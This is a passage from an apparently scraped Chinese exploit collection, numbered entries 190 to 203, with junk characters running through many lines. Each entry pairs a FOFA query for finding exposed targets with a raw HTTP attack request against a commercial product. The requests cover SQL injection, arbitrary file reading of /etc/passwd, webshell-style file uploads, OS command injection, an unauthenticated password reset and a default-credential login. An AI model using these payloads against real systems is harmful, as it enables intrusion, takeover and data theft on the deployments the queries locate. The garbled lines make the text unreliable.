Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 ~' c  r* Z( u5 WAccept-Encoding: gzip, deflate
! Y- V* \; N( h9 I" p1 ?Accept-Language: zh-CN,zh;q=0.9
Connection: close


3 T6 X( d. b. S) H# A: M3 f190. 短视频矩阵营销系统 poihuoqu 任意文件读取
* J! c, f/ ?# S+ E$ JFOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
/ K. w/ X7 L( [1 [( PAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

poi=file:///etc/passwd

3 p. F: ?6 x: D7 F+ x0 S
# p3 v6 K0 a0 w( Y" F0 }7 K0 x191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
+ D( D  p0 h4 p  tFOFA：body="/CDGServer3/index.jsp"
5 r$ g( h  a" i$ n7 w2 p  uPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

command=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=

* J: z7 ]2 \" S8 {2 f, x6 Y8 a
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
2 k/ X: M& ^: kFOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
8 S! G0 i6 u- c% P2 v8 JHost: your-ip
2 X6 T$ [$ w5 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
* S, L% u2 M; }, |7 k2 g: C& J6 z/ \5 nContent-Type: application/x-www-form-urlencoded
/ w* M2 H" s( F/ k# E
1 [8 }6 o* H/ j0 c- ^9 Q) S
<% @ webhandler language="C#" class="AverageHandler" %>
3 U2 [9 r. h& busing System;
% t6 \; K1 y) g2 G6 [using System.Web;
, E, e8 C# a! k' M7 _public class AverageHandler : IHttpHandler
{
public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
3 `! Q) N0 J; H0 e) G7 ?- s, X! t{
ctx.Response.Write("test");
& x$ w' s( H% p9 I* X}
}

" j; L- d8 w' D& o
( f5 a9 W" A* T$ Q% r193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
( B2 e2 b- G# O1 A' e) rHost:
$ y$ ~3 ^1 R" W2 k! g7 @Cookie: PHPSESSID=2333333333333;
) K7 C# T/ d6 i6 n, cContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0

' L- n3 P' R5 b: x
) x2 Z% p+ t# v; d  d) m6 X) BPOST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
$ h( y  m. U: c0 @$ d; aUser-Agent: Mozilla/5.0
! K" B6 u5 t2 o4 u2 nAccept-Encoding: gzip, deflate
& \+ i) N. b0 ^8 q) cAccept: */*
  Q  Z7 L, C* p2 \' PConnection: close
Cookie: PHPSESSID=2333333333333;
. A0 s. R8 [* L) ^Content-Type: application/x-www-form-urlencoded
4 S% b% @+ d* X/ T7 y9 _Content-Length: 84

param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

* t5 U6 S3 {& I. S& `
, {- O4 ]& v+ }8 h. PGET /master/img/config HTTP/1.1
6 e4 g* h5 s9 `/ ]& v4 |7 NHost:
' z1 [3 x: f2 h' U! ^# e7 }User-Agent: Mozilla/5.0
* b- I4 v# J, T! d% S  N. j

194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
& Z1 h. q; z( ]/ G5 oFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
) h) C. v" k+ y8 I0 x0 iHost: host
$ Y  v+ K9 ?& q+ B, |- `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% Y5 {$ P' L9 @# ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 l2 V/ b% N$ O# ]Accept-Encoding: gzip, deflate
9 [1 X8 m8 C9 {# OConnection: close
2 z8 Z- c0 n  U: ~/ x! zContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
& J  w+ r: |5 B  w
( w) q% V% y+ G0 {5 ~8 |( Y$ kContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
5 u  {& [' K! n9 M- |Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
" _4 W/ h# r7 D! a3 Q------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

% {7 x; D6 Y# a
! w4 [( v8 u/ e+ Q. a0 J1 C% j195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
2 G6 j) {  h) B5 B, M" BFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
% Y4 T# I) m, uHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
5 i$ Y" x5 a0 X; T. b7 e! M, WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
) R1 S% C5 i3 P/ CAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
6 f1 z, w! w% Y' m* c5 z% uConnection: close
Content-Type: application/x-www-form-urlencoded
' k1 {3 }' t/ pContent-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}

* L/ {) [, J2 Q) N$ T
9 S/ B9 k/ ^# V0 s) i196. 河南省风速科技统一认证平台密码重置
) w$ P! W! R. ~( ]+ ?* z6 U0 Y2 zFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
( G- `- l/ D0 @, E0 I; }1 uUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
7 O8 E, j5 K- h! kX-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
7 G2 F5 Y/ E3 G; u6 XConnection: close
5 L2 _, y3 ]& O8 o( W9 j/ T  B5 E
. P: T+ e& Y# ?{"xgh":"test","newPass":"test666","email":""}
3 z4 s% E+ T, d* H- o. \1 R) u$ L4 S3 N
: y( ^6 d0 \) g3 H4 \& w

197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
. i+ c- D. [3 V; d& q& zGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
Accept-Encoding: gzip, deflate
Connection: close



  T% l) F! P! S# O) e4 l; A0 W198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
) X9 n( {8 ^4 i+ ^2 AGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
9 F/ Z- p2 W% f0 A; f8 P* n3 p8 \  FCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
6 A( {( t) \5 t7 [Connection: close

0 R$ _  W# Z7 {; y: k
2 W" J2 _% T# L! Y, B% ?199. cockpit系统assetsmanager_upload接口 文件上传
  W& r6 U' S6 \& d( [% F6 r
; A& X5 `) K* D* |% W! l8 ^1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
" U9 `, l, {- d5 Q. xGET /auth/login?to=/ HTTP/1.1

# q9 T- k- u! J; p5 z5 _; Q响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
7 G9 \' I3 t* J4 N
2.使用刚才上一步获取到的jwt获取cookie：
  c: X  E3 p+ ]  R9 T- O
POST /auth/check HTTP/1.1
+ k* S- S5 @% m9 b+ jContent-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
! {3 E* S# v+ n9 }+ T  F, Q' L
7 m- i# g0 |9 v) }  Q: N; ~) V响应：200，返回值:
2 U  h$ o( L, n+ i% R6 p/ V- oSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
, F6 w8 L+ U+ V9 B/ C# y* yCookie: mysession=95524f01e238bf51bb60d77ede3bea92
  N  i* D) f: O, r; h
-----------------------------36D28FBc36bd6feE7Fb3
! X  j' b6 X/ Y' o% z2 dContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

3 N1 }) t$ g/ k; X% C: F<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
3 c  T) a# B; ^* k% q' uContent-Disposition: form-data; name="folder"
3 @; W' X- j4 f2 ~0 d6 n
-----------------------------36D28FBc36bd6feE7Fb3--

- }8 x9 d+ s9 X  h
/storage/uploads/tttt.php

5 @$ T+ O* x7 g) d$ W7 {/ |200. SeaCMS海洋影视管理系统dmku SQL注入
; o4 U( p* X5 ~: \. lFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
2 C" R3 E% h$ A5 KUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
: ^: {; ~4 r: u8 aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

+ s6 A6 P5 n% l# v/ Q
" P! q9 C: @/ U; |( k2 {6 m" L& l201. 方正全媒体新闻采编系统 binary SQL注入
) u. a1 f( t; T; ~& W7 r; CFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
7 @. V! a% [/ y+ ~- U# a* |! vPOST /newsedit/newsplan/task/binary.do HTTP/1.1
; K: I3 @" t& G2 Y4 EContent-Type: application/x-www-form-urlencoded
" O- O, h0 m) vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 _" \5 A8 U6 {9 W& _& @Accept-Encoding: gzip, deflate
5 T, r+ F  a7 F. H) [" i6 O3 rAccept-Language: zh-CN,zh;q=0.9
1 }6 z' U2 V! Y; O+ ~, hConnection: close
. T0 W! W0 l2 x$ A
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

# ]7 N$ m, Q. k7 ?& w
1 S& p6 U$ t! y) k202. 微擎系统 AccountEdit任意文件上传
" L0 N1 j4 F, b( Q: F) u  NFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
3 o8 J; d4 L+ j8 L& k* G, v2 qGET /User/AccountEdit.aspx HTTP/1.1
+ J* s8 j6 `3 E- Y$ z$ x* AHost: 滑板人之家
1 r4 N9 k( A4 ]9 w4 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
Content-Length: 0
; n0 ~: ~3 l( B2 Q
0 \- \& |  t. x5 i
替换__VIEWSTATE和__EVENTVALIDATION值
0 W0 x2 [" x  C8 W) Q. Y0 O/ ^POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
2 {3 f: T2 r6 w" o. K3 X
9 U2 b$ `+ s  S" s( F* J-----------------------------786435874t38587593865736587346567358735687
5 C; D; u8 t) K  mContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
0 G3 }: c" \& h' O: m-----------------------------786435874t38587593865736587346567358735687
* \9 H. P! T; ^: o7 v% J' ZContent-Disposition: form-data; name="__EVENTVALIDATION"

7 Z) Z. h0 J( X" o8 I/ U2 N. \: e. z: G__EVENTVALIDATION
5 |2 }4 c$ z& z6 V  H1 @-----------------------------786435874t38587593865736587346567358735687
( m9 u" J) u: FContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain

+ @* w3 ^0 v- |; {% X% ]Hello World!
2 @9 [1 d# c: C* {-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"

- _) h2 |& O* q+ V3 Z上传图片
% L9 q: V- [) P8 e  Q! R& ?4 R-----------------------------786435874t38587593865736587346567358735687
( |# S5 Q% K0 CContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

$ V5 @, W: L0 T6 Y+ T  x' g! A
-----------------------------786435874t38587593865736587346567358735687
3 t2 Y" M7 J; |! B$ N. UContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"


-----------------------------786435874t38587593865736587346567358735687--

3 r. L) `3 ~/ e2 B
/_data/Uploads/1123.txt

5 A% b4 s) b6 W% v; j+ H203. 红海云EHR PtFjk 文件上传
FOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
1 b& F1 k5 _' W. vAccept-Encoding: gzip
4 c' T: @9 ]& x, wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
3 X0 ~# z3 X% ~, Z, {+ c; F9 kContent-Length: 210
! l+ R" K+ L# j
------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
5 Y2 v+ ?, ]! k. e* f
5 E6 k1 I. Q; N9 e6 o  k
+ e. q. U$ D% t; B1 a
, o( @9 `/ K% d" i- {


  g- e0 x6 W& j